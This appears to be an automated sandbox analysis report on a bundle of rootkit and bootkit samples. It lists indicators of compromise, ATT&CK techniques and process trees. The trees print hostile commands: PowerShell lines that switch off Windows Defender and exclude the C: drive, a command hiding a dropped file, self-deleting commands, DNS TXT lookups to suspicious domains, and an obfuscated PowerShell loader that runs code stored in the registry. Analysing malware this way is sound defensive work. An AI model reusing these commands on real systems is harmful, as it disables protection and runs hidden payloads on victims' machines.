94e3a8f25dbff86ee6fe11ee045b70055357c08ae1723598a361c96eac5e2c24

Peripheral Device Discovery

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe

Maps connected drives based on registry 3 TTPs 4 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	f428b4d0673ae67472fbe212086e70eeb5b6876e80a74b59ff8ba3e6def5e9b1.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	f428b4d0673ae67472fbe212086e70eeb5b6876e80a74b59ff8ba3e6def5e9b1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	6b0cd074a6c556f4d1fe0088c15160eb13f847974c4307f9eeeea4dc33d49286.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	6b0cd074a6c556f4d1fe0088c15160eb13f847974c4307f9eeeea4dc33d49286.exe

Writes to the Master Boot Record (MBR) 1 TTPs 5 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	5ef62c780d7c9f82dea098972f66d5b3367841913444933cdb779adaecd06d1a.exe
File opened for modification	\??\PHYSICALDRIVE0	5ef62c780d7c9f82dea098972f66d5b3367841913444933cdb779adaecd06d1a.exe
File opened for modification	\??\PHYSICALDRIVE0	5ef62c780d7c9f82dea098972f66d5b3367841913444933cdb779adaecd06d1a.exe
File opened for modification	\??\PHYSICALDRIVE0	6b0cd074a6c556f4d1fe0088c15160eb13f847974c4307f9eeeea4dc33d49286.exe
File opened for modification	\??\PHYSICALDRIVE0	f428b4d0673ae67472fbe212086e70eeb5b6876e80a74b59ff8ba3e6def5e9b1.exe

Drops file in Windows directory 11 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e597d06.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7D83.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{817E4709-EB1A-4B7F-B602-C06BD1A2FEB4}	msiexec.exe
File created	C:\Windows\Tasks\dialersvc32.job	22ee7b8104599b47313195598ffc34aafd6a6552dcce0e7b3232ced3a90ac9a4.exe
File opened for modification	C:\Windows\Installer\e597d06.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI813D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8351.tmp	msiexec.exe
File created	C:\Windows\addins\modulConfing.config	03e903602037420acf4d1bc5084923c59385c5594f3a2de6fcf320bd4746d6c7.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\SpotifyAB.SpotifyMusic_zpdnekdrzrea0\Spotify	taskmgr.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\SpotifyAB.SpotifyMusic_zpdnekdrzrea0\Spotify\State = "0"	taskmgr.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\SpotifyAB.SpotifyMusic_zpdnekdrzrea0\Spotify\UserEnabledStartupOnce = "0"	taskmgr.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3996	msiexec.exe
3996	msiexec.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2448	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeManageVolumePrivilege	2100	svchost.exe
Token: SeShutdownPrivilege	4628	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4628	msiexec.exe
Token: SeSecurityPrivilege	3996	msiexec.exe
Token: SeCreateTokenPrivilege	4628	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4628	msiexec.exe
Token: SeLockMemoryPrivilege	4628	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4628	msiexec.exe
Token: SeMachineAccountPrivilege	4628	msiexec.exe
Token: SeTcbPrivilege	4628	msiexec.exe
Token: SeSecurityPrivilege	4628	msiexec.exe
Token: SeTakeOwnershipPrivilege	4628	msiexec.exe
Token: SeLoadDriverPrivilege	4628	msiexec.exe
Token: SeSystemProfilePrivilege	4628	msiexec.exe
Token: SeSystemtimePrivilege	4628	msiexec.exe
Token: SeProfSingleProcessPrivilege	4628	msiexec.exe
Token: SeIncBasePriorityPrivilege	4628	msiexec.exe
Token: SeCreatePagefilePrivilege	4628	msiexec.exe
Token: SeCreatePermanentPrivilege	4628	msiexec.exe
Token: SeBackupPrivilege	4628	msiexec.exe
Token: SeRestorePrivilege	4628	msiexec.exe
Token: SeShutdownPrivilege	4628	msiexec.exe
Token: SeDebugPrivilege	4628	msiexec.exe
Token: SeAuditPrivilege	4628	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4628	msiexec.exe
Token: SeChangeNotifyPrivilege	4628	msiexec.exe
Token: SeRemoteShutdownPrivilege	4628	msiexec.exe
Token: SeUndockPrivilege	4628	msiexec.exe
Token: SeSyncAgentPrivilege	4628	msiexec.exe
Token: SeEnableDelegationPrivilege	4628	msiexec.exe
Token: SeManageVolumePrivilege	4628	msiexec.exe
Token: SeImpersonatePrivilege	4628	msiexec.exe
Token: SeCreateGlobalPrivilege	4628	msiexec.exe
Token: SeRestorePrivilege	3996	msiexec.exe
Token: SeTakeOwnershipPrivilege	3996	msiexec.exe
Token: SeRestorePrivilege	3996	msiexec.exe
Token: SeTakeOwnershipPrivilege	3996	msiexec.exe
Token: SeRestorePrivilege	3996	msiexec.exe
Token: SeTakeOwnershipPrivilege	3996	msiexec.exe
Token: SeRestorePrivilege	3996	msiexec.exe
Token: SeTakeOwnershipPrivilege	3996	msiexec.exe
Token: SeDebugPrivilege	2448	taskmgr.exe
Token: SeSystemProfilePrivilege	2448	taskmgr.exe
Token: SeCreateGlobalPrivilege	2448	taskmgr.exe
Token: SeRestorePrivilege	3996	msiexec.exe
Token: SeTakeOwnershipPrivilege	3996	msiexec.exe
Token: SeRestorePrivilege	3996	msiexec.exe
Token: SeTakeOwnershipPrivilege	3996	msiexec.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4628	msiexec.exe
948	MsiExec.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
4628	msiexec.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
948	MsiExec.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe
2448	taskmgr.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1592	6b0cd074a6c556f4d1fe0088c15160eb13f847974c4307f9eeeea4dc33d49286.exe
1992	5ef62c780d7c9f82dea098972f66d5b3367841913444933cdb779adaecd06d1a.exe
2068	f428b4d0673ae67472fbe212086e70eeb5b6876e80a74b59ff8ba3e6def5e9b1.exe
3644	5ef62c780d7c9f82dea098972f66d5b3367841913444933cdb779adaecd06d1a.exe
4416	5ef62c780d7c9f82dea098972f66d5b3367841913444933cdb779adaecd06d1a.exe
2032	22ee7b8104599b47313195598ffc34aafd6a6552dcce0e7b3232ced3a90ac9a4.exe
1436	03e903602037420acf4d1bc5084923c59385c5594f3a2de6fcf320bd4746d6c7.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3996 wrote to memory of 948	3996	msiexec.exe	127
PID 3996 wrote to memory of 948	3996	msiexec.exe	127
PID 3996 wrote to memory of 948	3996	msiexec.exe	127
PID 1592 wrote to memory of 4632	1592	6b0cd074a6c556f4d1fe0088c15160eb13f847974c4307f9eeeea4dc33d49286.exe	133
PID 1592 wrote to memory of 4632	1592	6b0cd074a6c556f4d1fe0088c15160eb13f847974c4307f9eeeea4dc33d49286.exe	133
PID 2068 wrote to memory of 4104	2068	f428b4d0673ae67472fbe212086e70eeb5b6876e80a74b59ff8ba3e6def5e9b1.exe	135
PID 2068 wrote to memory of 4104	2068	f428b4d0673ae67472fbe212086e70eeb5b6876e80a74b59ff8ba3e6def5e9b1.exe	135
PID 2068 wrote to memory of 4104	2068	f428b4d0673ae67472fbe212086e70eeb5b6876e80a74b59ff8ba3e6def5e9b1.exe	135

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
808	attrib.exe

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\Rootkits & Bootkits.zip"
1⤵
PID:4136

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4152

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
1⤵
PID:3128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k UnistackSvcGroup
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2100

C:\Windows\System32\msiexec.exe
"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Desktop\8dcc573293ae9a545655a47e23f106738a190f5318c31124bd3a73b12f128df6.msi"
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4628

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3996
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding E04E82D44FFE3E025B0AF46B1777CC7B
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Adds Run key to start application
  - Blocklisted process makes network request
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:948

C:\Users\Admin\Desktop\6b0cd074a6c556f4d1fe0088c15160eb13f847974c4307f9eeeea4dc33d49286.exe
"C:\Users\Admin\Desktop\6b0cd074a6c556f4d1fe0088c15160eb13f847974c4307f9eeeea4dc33d49286.exe"
1⤵
- Maps connected drives based on registry
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1592
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\Desktop\6B0CD0~1.EXE
  2⤵
  PID:4632

C:\Users\Admin\Desktop\5ef62c780d7c9f82dea098972f66d5b3367841913444933cdb779adaecd06d1a.exe
"C:\Users\Admin\Desktop\5ef62c780d7c9f82dea098972f66d5b3367841913444933cdb779adaecd06d1a.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetWindowsHookEx
PID:1992

C:\Users\Admin\Desktop\f428b4d0673ae67472fbe212086e70eeb5b6876e80a74b59ff8ba3e6def5e9b1.exe
"C:\Users\Admin\Desktop\f428b4d0673ae67472fbe212086e70eeb5b6876e80a74b59ff8ba3e6def5e9b1.exe"
1⤵
- Maps connected drives based on registry
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2068
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\Desktop\F428B4~1.EXE >> NUL
  2⤵
  PID:4104

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /7
1⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2448

C:\Users\Admin\Desktop\5ef62c780d7c9f82dea098972f66d5b3367841913444933cdb779adaecd06d1a.exe
"C:\Users\Admin\Desktop\5ef62c780d7c9f82dea098972f66d5b3367841913444933cdb779adaecd06d1a.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetWindowsHookEx
PID:3644

C:\Users\Admin\Desktop\5ef62c780d7c9f82dea098972f66d5b3367841913444933cdb779adaecd06d1a.exe
"C:\Users\Admin\Desktop\5ef62c780d7c9f82dea098972f66d5b3367841913444933cdb779adaecd06d1a.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetWindowsHookEx
PID:4416

C:\Users\Admin\Desktop\4e6b9a6d0870e85cbb957fc5e33503841f79f48e9f701f6e3d62a00dd8c82388.exe
"C:\Users\Admin\Desktop\4e6b9a6d0870e85cbb957fc5e33503841f79f48e9f701f6e3d62a00dd8c82388.exe"
1⤵
PID:2436

C:\Users\Admin\Desktop\03e903602037420acf4d1bc5084923c59385c5594f3a2de6fcf320bd4746d6c7.exe
"C:\Users\Admin\Desktop\03e903602037420acf4d1bc5084923c59385c5594f3a2de6fcf320bd4746d6c7.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
PID:1436

C:\Users\Admin\Desktop\22ee7b8104599b47313195598ffc34aafd6a6552dcce0e7b3232ced3a90ac9a4.exe
"C:\Users\Admin\Desktop\22ee7b8104599b47313195598ffc34aafd6a6552dcce0e7b3232ced3a90ac9a4.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
PID:2032

C:\Users\Admin\Desktop\757cd417096f37de99461b69b70ccc532fb294b8ecbf18e3fddaea7bb6058ce8.exe
"C:\Users\Admin\Desktop\757cd417096f37de99461b69b70ccc532fb294b8ecbf18e3fddaea7bb6058ce8.exe"
1⤵
PID:540
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -qt=TXT mxgmxbbyxb.bbyyjy.com 114.114.114.114
  2⤵
  PID:2640

C:\Users\Admin\Desktop\096322b16a7395e5534e9db6752aab1bd54275515f33f993d066ec7b46ed5b3e.exe
"C:\Users\Admin\Desktop\096322b16a7395e5534e9db6752aab1bd54275515f33f993d066ec7b46ed5b3e.exe"
1⤵
PID:2120
- C:\Users\Admin\Desktop\096322b16a7395e5534e9db6752aab1bd54275515f33f993d066ec7b46ed5b3e.exe
  "C:\Users\Admin\Desktop\096322b16a7395e5534e9db6752aab1bd54275515f33f993d066ec7b46ed5b3e.exe"
  2⤵
  PID:1948
- - C:\Windows\SYSTEM32\attrib.exe
    attrib +h +s c:\windows\system32\drivers\svihost.exe
    3⤵
    - Views/modifies file attributes
    PID:808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -c Set-MpPreference -PUAProtection 0"
    3⤵
    PID:4020
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -c Set-MpPreference -PUAProtection 0
      4⤵
      PID:3584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -c Add-MpPreference -ExclusionPath "C:""
    3⤵
    PID:5012
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -c Add-MpPreference -ExclusionPath "C:"
      4⤵
      PID:3748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -c Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIntrusionPreventionSystem 1 -DisableIOAVProtection 1 -DisableScriptScanning 1"
    3⤵
    PID:3168
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -c Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIntrusionPreventionSystem 1 -DisableIOAVProtection 1 -DisableScriptScanning 1
      4⤵
      PID:4684

C:\Users\Admin\Desktop\bf909c34e676e9da0004e6fe8ed640380cc9b658d4d4e5e30f29fa16fadf8102.exe
"C:\Users\Admin\Desktop\bf909c34e676e9da0004e6fe8ed640380cc9b658d4d4e5e30f29fa16fadf8102.exe"
1⤵
PID:1928
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -qt=TXT 4795aefc17.bbyyjy.com 114.114.114.114
  2⤵
  PID:1060
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -qt=TXT mxgmxbbyxb.bbyyjy.com 114.114.114.114
  2⤵
  PID:3296
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -qt=TXT 9c15224a8228b9a9.huodu.xyz 114.114.114.114
  2⤵
  PID:2572

C:\Users\Admin\Desktop\cce24ebdd344c8184dbaa0a0c4a65c7d952a11f6608fe23d562a4d1178915eac.exe
"C:\Users\Admin\Desktop\cce24ebdd344c8184dbaa0a0c4a65c7d952a11f6608fe23d562a4d1178915eac.exe"
1⤵
PID:1376

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:4216

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:4440

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{4596103d-7d7c-4aa0-b4e2-b990abc45620}
1⤵
PID:4100

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{290046e6-c08c-4636-a7bb-71496fa2abc7}
1⤵
PID:4372

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:3832

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:4416

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:1076

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery